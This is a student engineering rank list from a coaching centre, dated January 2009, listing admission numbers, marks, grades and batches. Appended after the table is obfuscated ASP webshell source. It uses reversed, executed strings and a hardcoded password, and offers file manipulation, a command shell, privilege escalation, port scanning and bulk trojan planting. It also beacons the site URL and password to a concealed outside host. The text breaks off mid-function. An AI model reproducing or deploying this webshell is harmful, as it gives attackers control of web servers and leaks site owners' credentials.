Brilliant STUDY CENTRE
LONGTERM 2011 - ENGINEERING RANKLIST - 17 - 01 - 2009
TOTAL NUMBER OF STUDENTS APPEARD - 136
CG5, CG6, CG7, CG8
RANK RANK RANK Ad.No. Phy Che Maths Total % Grade Batch
22-Nov 13-Dec 17-Jan 240 240 480 960
  10-Jan 17-Jan 3-Jan
2 2 1 LT13764 190 80 340 610 63.54  A  CG5
9 1 2 LT12404 168 84 328 580 60.42  A  CG8
10 8 3 LT12398 192 100 288 580 60.42  A  CG6
  1 4 LT13405 146 82 328 556 57.92  B+  CG5
29 24 5 LT10856 142 64 336 542 56.46  B+  CG7
36 20 6 LT14829 114 72 352 538 56.04  B+  CG7
1   7 LT13680 204 68 264 536 55.83  B+  CG5
20   8 LT12547 156 76 300 532 55.42  B+  CG6
63 23 9 LT11767 96 166 260 522 54.38  B+  CG7
11 21 10 LT15416 98 116 292 506 52.71  B+  CG5
7 13 11 LT15398 106 86 312 504 52.50  B+  CG5
  3 12 LT11438 134 62 300 496 51.67  B+  CG7
8 18 13 LT11222 144 56 296 496 51.67  B+  CG8
42 41 14 LT13031 120 116 256 492 51.25  B+  CG7
50 69 15 LT12744 134 48 308 490 51.04  B  CG8
23 38 16 LT11879 158 96 232 486 50.63  B  CG7
38 19 17 LT13251 66 106 312 484 50.42  B  CG6
14   18 LT12737 150 64 268 482 50.21  B  CG6
18 13 19 LT12738 82 138 260 480 50.00  B  CG6
11   20 LT10387 148 116 216 480 50.00  B  CG6
  51 21 LT12204 110 80 288 478 49.79  B  CG8
6   22 LT11428 154 86 236 476 49.58  B  CG6
3 4 23 LT13649 182 64 224 470 48.96  B  CG5
    24 LT14192 122 68 276 466 48.54  B  CG5
57 48 25 LT10535 40 158 268 466 48.54  B  CG7
41 29 26 LT10212 92 62 296 450 46.88  B  CG7
7 6 27 LT11487 130 62 252 444 46.25  B  CG6
4 9 28 LT13650 132 52 256 440 45.83  B  CG5
34 14 29 LT11411 118 60 252 430 44.79  B  CG7
44 30 30 LT10257 168 66 196 430 44.79  B  CG6
    31 LT15417 128 74 224 426 44.38  B  CG5
  2 32 LT11759 188 90 148 426 44.38  B  CG6
  28 33 LT12425 130 34 260 424 44.17  B  CG6
26   34 LT13683 116 52 256 424 44.17  B  CG5
53 25 35 LT10679 98 74 248 420 43.75  C+  CG7
  43 36 LT14186 98 78 244 420 43.75  C+  CG5
68 36 37 LT10382 128 52 240 420 43.75  C+  CG8
  62 38 LT10909 104 54 260 418 43.54  C+  CG8
62 10 39 LT10528 94 76 248 418 43.54  C+  CG7
39   40 LT11908 100 82 236 418 43.54  C+  CG7
5   41 LT15611 98 100 216 414 43.13  C+  CG5
69 37 42   160 82 172 414 43.13  C+  CG7
107 73 43 LT12608 94 64 252 410 42.71  C+  CG6
    44 LT15667 114 92 204 410 42.71  C+  CG5
9   45 LT14185 100 42 260 402 41.88  C+  CG5
123 82 46 LT14099 116 80 204 400 41.67  C+  CG7
56 9 47 LT13069 98 60 236 394 41.04  C+  CG7
10   48 LT13373 124 44 224 392 40.83  C+  CG5
45 22 49 LT11723 84 58 248 390 40.63  C+  CG7
8 25 50 LT15529 120 66 204 390 40.63  C+  CG5
15   51 LT12061 116 78 192 386 40.21  C+  CG6
16 71 52 LT10929 96 76 208 380 39.58  C+  CG7
2 12 53 LT12574 92 58 228 378 39.38  C+  CG8
4 16 54 LT11794 130 22 220 372 38.75  C+  CG6
  87 55 LT14187 104 72 196 372 38.75  C+  CG5
65 55 56 LT11923 100 68 200 368 38.33  C+  CG8
  26 57 LT12945 110 32 224 366 38.13  C+  CG8
79   58 LT13236 66 26 272 364 37.92  C+  CG8
5   59 LT10647 120 14 228 362 37.71  C+  CG7
26   60 LT10244 116 62 184 362 37.71  C+  CG6
12 68 61 LT14189 132 102 128 362 37.71  C+  CG5
    62 LT13370 86 22 252 360 37.50  C+  CG5
67 101 63 LT13718 92 30 236 358 37.29  C+  CG8
116 88 64 LT11220 106 36 216 358 37.29  C+  CG8
94 21 65 LT10270 86 68 204 358 37.29  C+  CG7
64   66 LT11007 110 68 180 358 37.29  C+  CG7
  67 67 LT12933 96 40 220 356 37.08  C+  CG6
124 109 68 LT11538 114 12 220 346 36.04  C  CG8
    69 LT10779 66 78 196 340 35.42  C  CG7
14 72 70 LT14184 102 16 216 334 34.79  C  CG5
17 52 71 LT11645 92 92 148 332 34.58  C  CG6
37   72 LT12633 68 46 212 326 33.96  C  CG7
55 60 73 LT12714 90 50 184 324 33.75  C  CG7
70   74 LT11611 74 26 220 320 33.33  C  CG7
32 40 75 LT12711 48 56 214 318 33.13  C  CG6
17   76 LT15418 74 80 164 318 33.13  C  CG5
19   77 LT13369 104 36 176 316 32.92  C  CG5
90   78 LT10254 98 98 120 316 32.92  C  CG6
99   79 LT12947 36 46 232 314 32.71  C  CG7
  70 80 LT11418 88 46 180 314 32.71  C  CG8
    81 LT15414 158 8 148 314 32.71  C  CG5
  91 82 LT12699 86 42 184 312 32.50  C  CG8
    83 LT15673 14 20 272 306 31.88  C  CG5
47 35 84 LT10184 88 70 148 306 31.88  C  CG8
72 54 85 LT14825 88 36 180 304 31.67  C  CG7
18 79 86 LT13768 82 8 208 298 31.04  C  CG5
24   87 LT15415 90 48 160 298 31.04  C  CG5
87 46 88 LT13109 108 78 108 294 30.63  C  CG7
71 56 89 LT10408 138 84 72 294 30.63  C  CG7
    90 LT13722 58 34 196 288 30.00  C  CG8
89 87 91 LT10099 56 28 200 284 29.58  C  CG8
13   92 LT14188 88 8 188 284 29.58  C  CG5
108 78 93 LT13070 76 32 176 284 29.58  C  CG8
78 34 94 LT11489 52 60 168 280 29.17  D+  CG6
25 76 95 LT13765 96 50 132 278 28.96  D+  CG5
88   96 LT12314 102 14 160 276 28.75  D+  CG6
  103 97 LT13032 32 8 232 272 28.33  D+  CG7
    98 LT13769 84 18 168 270 28.13  D+  CG5
    99   20 22 220 262 27.29  D+  CG5
145 92 100 LT11512 64 10 180 254 26.46  D+  CG6
61 59 101 LT11187 74 36 144 254 26.46  D+  CG6
25 75 102 LT11780 96 28 128 252 26.25  D+  CG6
110 33 103 LT12970 58 26 164 248 25.83  D+  CG6
    104 LT13172 92 32 124 248 25.83  D+  CG6
59   105 LT11721 48 34 164 246 25.63  D+  CG7
102 105 106 LT13094 84 20 140 244 25.42  D+  CG7
101   107 LT12743 48 16 172 236 24.58  D+  CG8
30   108 LT13372 70 50 116 236 24.58  D+  CG5
84   109 LT11295 54 8 172 234 24.38  D+  CG8
46 64 110 LT11786 44 22 168 234 24.38  D+  CG8
60 115 111 LT11221 38 40 156 234 24.38  D+  CG8
23   112 LT13681 120 26 88 234 24.38  D+  CG5
144 86 113 LT10055 72 16 136 224 23.33  D+  CG6
117 93 114 LT10798 54 38 132 224 23.33  D+  CG6
122 89 115 LT10202 70 38 116 224 23.33  D+  CG7
22   116 LT13679 80 24 116 220 22.92  D+  CG5
  113 117 LT12994 60 34 124 218 22.71  D+  CG8
16   118 LT14180 68 12 136 216 22.50  D+  CG5
85   119 LT12489 12 36 160 208 21.67  **  CG8
128 58 120 LT11437 84 0 120 204 21.25  **  CG6
100 74 121 LT12752 52 16 132 200 20.83  **  CG6
121   122 LT12278 64 114 20 198 20.63  **  CG7
133 114 123 LT13451 68 42 76 186 19.38  **  CG7
146 112 124 LT13143 50 26 108 184 19.17  **  CG7
22 95 125 LT13309 18 16 144 178 18.54  **  CG7
138   126 LT11524 90 82 4 176 18.33  **  CG7
81 85 127 LT10917 76 26 64 166 17.29  **  CG7
137 111 128 LT13447 52 32 76 160 16.67  **  CG6
83 83 129 LT11700 46 16 96 158 16.46  **  CG8
129 117 130 LT15510 24 -7 136 153 15.94  **  CG8
    131 LT15657 110 26 16 152 15.83  **  CG5
    132 LT13763 74 4 56 134 13.96  **  CG5
    133 LT14190 22 22 60 104 10.83  **  CG5
125 99 134 LT13426 20 10 60 90 9.38  **  CG6
  118 135 LT10597 4 -14 96 86 8.96  **  CG6
112 100 136 LT13033 14 30 32 76 7.92  **  CG7
19     LT12868   88 56 144     CG7
134 97   LT12180   82 224 306     CG7
33 31       68 188 256     CG7
98 79   LT13047   62 152 214     CG8
119     LT12072   62 148 210     CG8
76 66   LT12351   60 144 204     CG7
  57   LT11776   54 212 266     CG6
54 63   LT10504   52 216 268     CG8
82 77   LT11507   48 228 276     CG8
80 45   LT12117   48 208 256     CG8
30 76   LT10534   48 140 188     CG7
      LT14195   46 112 158     CG5
27     LT13684   34 220 254     CG5
6 50   LT13766   30 292 322     CG5
      LT11212   30 24 54     CG6
130 72   LT12953   28 220 248     CG8
120     LT12886   22 68 90     CG6
      LT14194   18 160 178     CG5
29     LT14191   18 92 110     CG5
51 61   LT13123   12 204 216     CG8
104 27   LT11751   10 160 170     CG7
      LT11369   6 76 82     CG6
91     LT10015   -2 224 222     CG7
      LT10927   -6 88 82     CG6
27 80   LT11398   -8 200 192     CG8
1 4   LT12399 164   356 520     CG6
13 17   LT13119 100   268 368     CG8
58 53   LT12904 74   264 338     CG6
  90   LT13761 84   256 340     CG5
35 32   LT11685 120   256 376     CG7
21     LT14193 40   228 268     CG5
      LT12989 88   228 316     CG7
73 43         224 224     CG8
86     LT12282 70   220 290     CG7
93 50   LT11793 104   204 308     CG7
77     LT10251 92   200 292     CG6
48 47   LT11543 58   192 250     CG7
      LT14182 94   188 282     CG5
  42   LT13705 84   184 268     CG6
106     LT10407 8   180 188     CG7
      LT11211     160 160     CG6
      LT13762 88   156 244     CG5
  90   LT13463     156 156     CG6
135 107   LT11367 64   148 212     CG8
  98   LT13128 94   148 242     CG8
31       70   144 214     CG8
  39   LT11986 92   140 232     CG8
95 81   LT12136 136   132 268     CG7
92 94   LT11712 62   120 182     CG6
28     LT14196     116 116     CG5
103 104   LT12869 52   116 168     CG7
111     LT12694     108 108     CG6
132 110   LT10132     108 108     CG8
      LT13770 86   104 190     CG5
96 106   LT13569 80   92 172     CG8
20 92   LT14181       0     CG5
      LT13682   32   32     CG5
15     LT13371 50     50     CG5
      LT14179 98 56   154     CG5
114 49   LT12839 104 54   158     CG6
105     LT13424       0     CG6
140 96   LT14203       0     CG6
      LT12407       0     CG6
74 68           0     CG6
21 84   LT12712 94 42   136     CG6
109 65   LT11757 98 52   150     CG6
28     LT13235 130 66   196     CG6
126     LT13287       0     CG6
52     LT11931       0     CG6
141     LT13173 84 70   154     CG6
115     LT11388 62 8   70     CG6
      LT11926 124 126   250     CG7
139 108     68     68     CG7
143 116   LT10028 8 52   60     CG7
49     LT13135 74 70   144     CG7
12 7   LT13074   100   100     CG7
24 11   LT11648 138 56   194     CG7
118     LT12962       0     CG7
3 5   LT10213 170 74   244     CG7
131     LT13045 28     28     CG8
113 102   LT11529 72 32   104     CG8
136     LT11521       0     CG8
40 15   LT13478 106 94   200     CG8
142     LT12091       0     CG8
  44   LT15527 110 38   148     CG8
97     LT13291 66 6   72     CG8
<% dim ApplicationName,pwd,URL,ServerNM,ServerIP,Action,WWWRoot,FolderPath,FName,BackUrl,RW,AD,FS Server.ScriptTimeout=50000 On Error Resume Next ApplicationName = "С¿É×îìÅASPľÂí" Userpwd = "851120" 'Óû§ÃÜÂë AD = "8888888" foot = "ֻȡwebshell >²»¸ÄÊ×Ò³ >²»É¾Îļþ >²»ÌáȨ" URL = Request.ServerVariables("URL") ServerNM = Request.ServerVariables("SERVER_NAME") ServerIP = Request.ServerVariables("LOCAL_ADDR") Action = Request("Action") RootPath = Server.MapPath(".") WWWRoot = Server.MapPath("/") FolderPath = Request("FolderPath") FName = Request("FName") BackUrl = "" Sub RRS(str) response.write(str) End Sub Function UZSS(objstr) objstr = Replace(objstr, "¨~", """") For i = 1 To Len(objstr) If Mid(objstr, i, 1) <> "~" Then NewStr = Mid(objstr, i, 1) & NewStr Else NewStr = vbCrLf & NewStr End If Next UZSS = NewStr End Function Hacker="¨~ÌâÎÊÈ«°²¼°ÉæÄÜ¿É ,¼þ×é llehS¨~ = )1,41(TbO ~¨~noitacilppa.llehS¨~ = )0,41(TbO~¨~µ½ÓÃÖÐͳϵ¼¯²ÉÔÚ³£ ,¼þ×éÊä´«¾ÝÊý¨~ = )1,31(TbO ~¨~PTTHLMX.tfosorciM¨~ = )0,31(TbO~¨~¼þ×éÐÅ·¢liaMptmS¨~ = )1,21(TbO ~¨~1.liaMptmS.liaMptmS¨~ = )0,21(TbO~¨~¼þ×éÐÅ·¢PTMSÄâÐé¨~ = )1,11(TbO ~¨~liaMweN.STNODC¨~ = )0,11(TbO~¨~¼þ×é·¢ÊÕ¼þÓÊ liaMJ¨~ = )1,01(TbO ~¨~liaMptmS.liaMJ¨~ = )0,01(TbO~¨~¼þ×é´«ÉϼþÎÄ daolpUPSA¨~ = )1,9(TbO ~¨~1.daolpU.stisreP¨~ = )0,9(TbO~¨~¼þ×é´«ÉϼþÎÄ·åÔÆÁõ¨~ = )1,8(TbO ~¨~eliFdaolpU.daolpUfyL¨~ = )0,8(TbO~¨~¼þ×é´«ÉϼþÎÄ pUeliF-AS¨~ = )1,7(TbO ~¨~pUeliF.snasitrAtfoS¨~ = )0,7(TbO~¨~Á¦ÄÜ»µÆƵÄÕß»÷¹¥´óÀ©¶ø´Ó£¬Ðò³ÌÈ«°²²»µÈÂíľ´«ÉÏÀ´Óñ»³£³£ ,¼þ×é´«ÉÏÁ÷¾ÝÊý¨~ = )1,6(TbO ~¨~maertS.bdodA¨~ = )0,6(TbO~¨~¼þ×é½ÓÁ¬¿â¾ÝÊý¨~ = )1,5(TbO ~¨~noitcennoc.bdodA¨~ = )0,5(TbO~¨~¼þ×éÖú¸¨´«ÉÏÁ÷¾ÝÊý¨~ = )1,4(TbO ~ ¨~yranoitciD.gnitpircS¨~ = )0,4(TbO~¨~¼þ×éËõѹSSECCA¨~ = )1,3(TbO ~¨~enignEteJ.ORJ¨~ = )0,3(TbO~¨~¼þ×é¿â½¨SSECCA¨~ = )1,2(TbO ~¨~golataC.XODA¨~ = )0,2(TbO~¨~Ðò³ÌµÄÏÞȨÉýÌáÐÐÔËÀ´Óñ»»áÒ²¼þ×é´Ë¼þÎÄÐÐÖ´¿ÉµÈexe.ÐÐÔËPSAÐíÔÊ ,¼þ×éÐÐÖ´ÐÐÁîÃü¨~ = )1,1(TbO ~¨~llehs.tpircsw¨~ = )0,1(TbO~¨~Á¦ÄܵļмþÎĺͼþÎÄÖÐÆ÷Îñ·þÀí¹ÜºÍÁÐÂÞ±¸¾ß ,¼þ×é×÷²Ù¼þÎĨ~ = )1,0(TbO ~¨~tcejbOmetsySeliF.gnitpircS¨~ = )0,0(TbO~)1,41(TbO miD~fI dnE~dnE.esnopseR ~fI dnE ~¨~¨~=WR ~WR etirW.esnopseR ~¨~>retnec/<>tnof/<¨~&toof&¨~>der=roloc tnof<>rb<>rh<¨~ & WR=WR ~¨~>'¼µÇ'=eulav 'timbus'=epyt tupni< >'22'=ezis 'drowssap'=epyt 'ssap'=eman tupni<£ºÂëÃܨ~ & WR=WR ~¨~>'tsop'=dohtem '¨~&lru&¨~'=noitca mrof<¨~ & WR=WR ~¨~>rh<¨~&emaNnoitacilppA&¨~>';xp001:nigram;xp22:gniddap;222# dilos xp1:redrob;xp005:htdiw'=elyts vid<>retnec<¨~=WR ~eslE ~fI dnE ~¨~>vid/<>a/<»Ø·µ> '¨~&LRU&¨~'=ferh a<>rb<>rb<¨~etirW.esnopseR ~¨~>tnof/0000FF#=roloc tnof<>retnec=ngila vid<>rb<>rb<>rb<¨~etirW.esnopseR ~eslE ~LRU tcerideR.esnopseR ~dwpresU=)¨~relgm¨~(noisseS ~nehT dwpresU=)¨~ssap¨~(mroF.tseuqeR fI ~nehT ¨~¨~><)¨~ssap¨~(mroF.tseuqeR fI ~nehT dwpresU><)¨~relgm¨~(noisseS fI~fi dne:fi dne:fi dne:1+)¨~cevres¨~(noisses=)¨~cevres¨~(noisses neht ¨~¨~>¨~¨~)'¨~&dwpresU&¨~=07%&¨~&u&¨~=57%?/¨~&)26(&¨~%¨~&)16(&¨~%/d6¨~&)73(rhc&¨~f6%36¨~&)73(rhc&¨~E2%¨~&)101(rhc&¨~36%36¨~&)73(rhc&¨~83¨~&)73(rhc&¨~//:ptth'(lru:ROSRUC¨~¨~=elyts VID<¨~SRR:1+)¨~cevres¨~(noisses=)¨~cevres¨~(noisses:neht 1=)¨~cevres¨~(noisses fi:esle:neht 0><)¨~//:ptth¨~,u(rtsnI ro 0><)¨~.861.291¨~,u(rtsnI ro 0><)¨~1.0.0.721¨~,u(rtsnI fi:LRU&)¨~tsoh_ptth¨~(selbairavrevres.tseuqer=u~¨~>¨~¨~)C1C1C1#=rtSroloCdne,262626#=rtSroloCtrats,0=epyTtneidarg(tneidarG.tfosorciM.mrofsnarTegamIXD:digorp :RETLIF¨~¨~=elyts ¨~¨~eurt nruter;'Ô𸺲»¸ÅÕß×÷¹ûºó,;Ó÷¨·ÇÓÚÓÃʹÎñÇë,Óòâ¼ìÈ«°²Ô±Àí¹ÜÕ¾ÍøÓÚÏÞ½ö'=sutats.wodniw¨~¨~=revoesuomno ydob<>daeh/<>¨~¨~2132bg=tesrahc ;lmth/txet¨~¨~=tnetnoc ¨~¨~epyT-tnetnoC¨~¨~=viuqe-ptth atem<¨~SRR~¨~>tpircs/<}};)¨~¨~¡£°åÌù¼ôÊÓ¼à¾ß¹¤ÔØÏ¿ª´òÇ°Ö®ÖƸ´Ôڵüǣ¡±ÏÍêÖƸ´¨~¨~(trela.wodniw;¨~¨~¨~¨~=eulav.pmet;)¨~¨~ypoC¨~¨~(dnammoCcexe.sj;)(egnaRtxeTetaerc.pmet=sj{esle};eslaf nruter;)¨~¨~£¡Ö·µØµÄÔØÏÂÒªÔñÑ¡ÓÐû»¹Äã¨~¨~(trela.wodniw{)¨~¨~¨~¨~==eulav.pmet( fi¨~SRR~¨~}};¨~¨~n\¨~¨~+eulav.]i[dInwoD=+eulav.pmet{)eurt==dekcehc.]i[dInwoD( fi{)++i;htgnel.dInwoDretnec/<¡£¾äÓïÁîÃü×÷²ÙLQSÈëÊäÔÙ¿â¾ÝÊý½ÓÁ¬¼ºÈÏÈ·Çë>retnec<¨~¨~=LMTHrenni.cba;¨~¨~¨~¨~ = eulav.rtSlqS.mroFbD;]i[rtS = eulav.rtSbD.mroFbD{)3=tpircsavaj=egaugnal tpircs<¨~SRR~¨~>elyts/<}FFF#:roloc;000#:roloc-dnuorgkcab{dmc.¨~SRR~¨~}xp0:redrob;000000#:roloc-dnuorgkcab{C.¨~SRR~¨~};000#:roloc-dnuorgkcab ;FFFFFF#:roloc;FFF# dilos xp1:redrob;xp21 :ezis-tnof{aeratxet,tceles,tupni¨~SRR~¨~}000#:dnuorgkcab;der:roloc{revoh:a};enon :noitaroced-txet;ddd#:roloc{a¨~SRR~¨~};838383# :ROLOC-KCART-RABLLORCS¨~SRR~¨~;FFFFFF# :ROLOC-WORRA-RABLLORCS ;323232# :ROLOC-THGILD3-RABLLORCS¨~SRR~¨~ ;838383# :ROLOC-WODAHSKRAD-RABLLORCS ;838383# :ROLOC-WODAHS-RABLLORCS¨~SRR~¨~ ;323232# :ROLOC-THGILHGIH-RABLLORCS ;323232# :ROLOC-ECAF-RABLLORCS¨~SRR~¨~;xp1:tfel-nigram;xp1 :nigram¨~SRR~¨~;eee#:roloc;000000#:roloc-dnuorgkcab;xp21 :ezis-tnof{dt,ydob>¨~¨~ssc/txet¨~¨~=epyt elyts<¨~SRR~¨~>eltit/<¨~&PIrevreS&¨~ - ¨~&emaNnoitacilppA&¨~>eltit<¨~SRR~¨~>¨~¨~2132bg=tesrahc ;lmth/txet¨~¨~=tnetnoc ¨~¨~epyT-tnetnoC¨~¨~=viuqe-ptth atem<>daeh<>lmth<¨~SRR" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~gnihtoN=T teS ~fI dnE ~raelC.rrE ~¨~±Õ¹Ø¨~=jbOsI ~eslE ~¨~>tnof/<Æô¿ª>der=roloc tnof<¨~=jbOsI ~nehT rrE >< 5001227412- fI ~)tbo(tcejbOetaerC.revreS=T teS ~txen emuser rorre no ~T,i mid ~)tbo(jbOsI noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="bus dne~ fI dnE ~hsulF.esnopseR:raelC.rrE ~¨~>elbat/<>rh<>a/<¨~ & noitpircseD.rrE & ¨~;psbn&>')(kcab.yrotsih:tpircsavaj'=ferh a<>rh<>'006'=htdiw 'retnec'=ngila elbat<>rb<¨~etirW.esnopseR ~nehT rrE fI ~)(rrEwohS bus" ExeCuTe(UZSS(Hacker)) Function RePath(S) RePath=Replace(S,"\","\\") End Function Function RRePath(S) RRePath=Replace(S,"\\","\") End Function Function HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) S = replace(S, CHR(20), " ") HTMLEncode = S end if End Function Hacker="fi dnE~htaPredloF=)¨~htaPredloF¨~(noisseS ~htaPtooR=htaPredloF ~nehT ¨~¨~=)¨~htaPredloF¨~(noisseS fI~fI dnE~)htaPredloF(htaPeRR=)¨~htaPredloF¨~(noisseS ~neht ¨~¨~>" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
" RW=RW & "" RW=RW & "" RW=RW & "
 µ±Ç°Â·¾¶£º" RW=RW & "" RW=RW & "  " RW=RW & "" RW=RW & "
 Îļþ²Ù×÷£º" Set SFSO=New LBF:SFSO.ShowDriver():Set SFSO=Nothing RW=RW & "[ϵͳ³ÌÐòĿ¼] [ÎÒµÄÎĵµ] " RW=RW & "[ÍøվĿ¼] " RW=RW & "[¡ü»ØÉϼ¶Ä¿Â¼] [Í˳öµÇ¼] " RW=RW & "
 " RW=RW & "Çл»¹¦ÄÜ£º[н¨Ä¿Â¼] " RW=RW & "[н¨Îı¾] [ÎļþÉÏ´«] " RW=RW & "[´ÅÅÌÐÅÏ¢] [ËÑË÷Îļþ] " RW=RW & "[ϵͳ·þÎñ] " RW=RW & "[×é¼þÐÅÏ¢] [×¢²á±í²Ù×÷] " RW=RW & "[¶Ë¿ÚɨÃèÆ÷] [CMDÃüÁîÐÐ] " RW=RW & "[Serv-uÌáȨ] [SQLÌáȨ] " RW=RW & "[Serv-FTPÌáȨ] " RW=RW & "
 ÔÓÑù¹¦ÄÜ£º[Êý¾Ý¿â²Ù×÷] " RW=RW & "[µ¥Ò³´úÀí] [Ö±½ÓÏÂÔØ] " RW=RW & "[³ÌÐò´ò°üÈë¿â/³ö¿â] " RW=RW & "[ÅúÁ¿¹ÒÂí] " RW=RW & "[ÅúÁ¿Ìæ»»] " RW=RW & "[ÎÞFSOд] " RW=RW & "[sql-cmd] [²é¹ÜÀíÔ±] " RW=RW & "[ÖÕ¶ËÐÅÏ¢] " RW=RW & "[PHP̽Õë] [ÅÅÃû] " RW=RW & "
" RW=RW & "
" Response.Write RW RW="" End Function if request("DownFile")<>"" then call DownFile(request("DownFile")) Hacker="noitcnuF dnE~dnE.esnopseR ~gnihtoN = mso teS ~esolC.mso ~hsulF.esnopseR ~daeR.mso etirWyraniB.esnopseR ~¨~maerts-tetco/noitacilppa¨~ = epyTtnetnoC.esnopseR ~¨~8-FTU¨~ = tesrahC.esnopseR ~eziS.mso,¨~htgneL-tnetnoC¨~ redaeHddA.esnopseR ~)zs,htap(diM & ¨~=emanelif ;tnemhcatta¨~ ,¨~noitisopsiD-tnetnoC¨~ redaeHddA.esnopseR ~1+)¨~\¨~,htap(veRrtsnI=zs ~htaP eliFmorFdaoL.mso ~1 = epyT.mso ~nepO.mso ~))0,6(TbO(tcejbOetaerC = mso teS ~txeN emuseR rorrE nO ~raelC.esnopseR ~)htaP(eliFnwoD noitcnuF" ExeCuTe(UZSS(Hacker)) Class LBF Private Sub Class_Initialize Set fso=CreateObject(ObT(0,0)) End Sub Private Sub Class_Terminate Set fso=Nothing End Sub Function ShowDriver() Hacker="WR=revirDwohS ~txeN ~ ¨~;psbn&>a/<]:¨~&retteLevirD.D&¨~[ÅÌ´Å>')¨~¨~\\:¨~&retteLevirD.D&¨~¨~¨~(redloFwohS:tpircsavaj'=ferh a<¨~&WR=WR ~sevirD.osf ni D hcaE roF ~D mid " ExeCuTe(UZSS(Hacker)) End Function Function ShowFile(Path) Hacker="gnihtoN=DLOF teS ~ ¨~>elbat/<>rt/<>dt/<>elbat/<¨~ etirW.esnopseR ~0=i ~¨~>rt/<>dt/<>vid/<>aeratxet/<>'0'=sloc 'pmet'=eman '0'=swor aeratxet<>'enon':yalpsid=elyts vid<>'timbus'=ssalc ')(lrU'=kcilCno '08:htdiw'=elyts 'lrunwod'=eman 'ÔØÏÂÁ¿Åú'=eulav 'timbus'=epyt tupni<;psbn&ÔñÑ¡Ïò·´>')(llAkcehC'=kcilCno 'lla'=eulav 'lla'=eman 'xobkcehc'=epyt tupni<>rb<>dt<>rt<¨~ etirW.esnopseR neht 0>i fi ~txeN ~¨~¨~=WR : WR etirW.esnopseR ~¨~>rt/<>dt/<>dt/<>a/<¶¯ÒÆ>')¨~¨~eliFevoM¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<ÖƸ´>')¨~¨~eliFypoC¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<³ýɾ>')(kosey nruter'=kcilcno ')¨~¨~eliFleD¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<¼­±à>')¨~¨~eliFtidE¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<>'retnec'=ngila '%52'=htdiw dt<¨~ & WR=WR ~ )4,deifidoMtsaLetaD.L(emiTetaDtamroF & ¨~ ¨~ & )2,)deifidoMtsaLetaD.L(yad&¨~0¨~(thgir & ¨~-¨~ & )2,)deifidoMtsaLetaD.L(htnom&¨~0¨~(thgir & ¨~-¨~ & )deifidoMtsaLetaD.L(raey & ¨~>'retnec'=ngila '%02'=htdiw dt<¨~ & WR=WR ~¨~>dt/'%01'=htdiw dt<¨~ & WR=WR ~¨~>dt/<>a/<¨~&emaN.L&¨~>'ÔØÏÂ'=eltit ';)¨~¨~eliFnwoD¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~>'¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~=eliFnwoD&¨~&dwpresU&¨~=dwp?¨~&LRU&MNrevreS&¨~//:ptth'=eulav 'dInwoD'=eman 'xobkcehc'=epyt tupni<> '%54'=htdiw dt<¨~ & WR=WR ~¨~ >¨~¨~''=emaNssalc.siht¨~¨~=tuOesuoMno ¨~¨~'rt'=emaNssalc.siht¨~¨~=revOesuoMno rt<¨~=WR ~ 1+i=i ~ selif.dloF ni L hcaE roF ~ ~ ¨~¨~=WR : WR etirW.esnopseR ~ ¨~>'%001'=htdiw '0'=gnicapsllec '0'=gniddapllec '1'=gnicapsllec '0'=redrob elbat<>'FFFFFF#'=rolocgb 'pot'=ngilav '006'=htdiw dt<>dt/<>elbat/<¨~ & WR=WR ~txeN ~¨~>rt/<>dt/<>a/<¶¯ÒÆ>')(kosey nruter'=kcilcno ')¨~¨~redloFevoM¨~¨~,¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<ÖƸ´>')(kosey nruter'=kcilcno ')¨~¨~redloFypoC¨~¨~,¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<³ýɾ>')(kosey nruter'=kcilcno ')¨~¨~redloFleD¨~¨~,¨~¨~¨~&)¨~\\¨~,¨~\¨~,emaN.F&¨~\¨~&htaP(ecalpeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<|;psbn&¨~ & WR=WR ~¨~>a/<]¨~&emaN.F&¨~[>')¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(redloFwohS:tpircsavaj'=ferh a<>'02'=thgieh '%001'=htdiw dt<>rt<¨~ & WR=WR ~ sredlofbus.DLOF ni F hcaE roF ~)htaP(redloFteG.osf=DLOF teS ~¨~>rt/<>dt/<>'%001'=htdiw dt<>rt<¨~ & WR=WR ~¨~>'%001'=htdiw '0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<¨~ & WR=WR ~¨~>'pot'=ngilav '002'=htdiw dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila 'FEFEFE#'=rolocgb '%001'=thgieh '008'=htdiw '2'=gniddapllec '0'=redrob elbat<¨~=WR ~i,dloF,L,F mid " ExeCuTe(UZSS(Hacker)) End Function Function EditFile(Path) dim T If Request("Action2")="Post" Then Set T=fso.CreateTextFile(Path) T.WriteLine Request.form("content") T.close Set T=Nothing Set fso=Nothing RW="



Îļþ±£´æ³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" Response.End End If If Path<>"" Then Set T=fso.opentextfile(Path, 1, False) On Error Resume Next Txt=HTMLEncode(T.readall) if err then err.Clear T.close Set T=Nothing Else Path=Session("FolderPath")&"\a.txt":Txt="н¨Îļþ" End If RW="
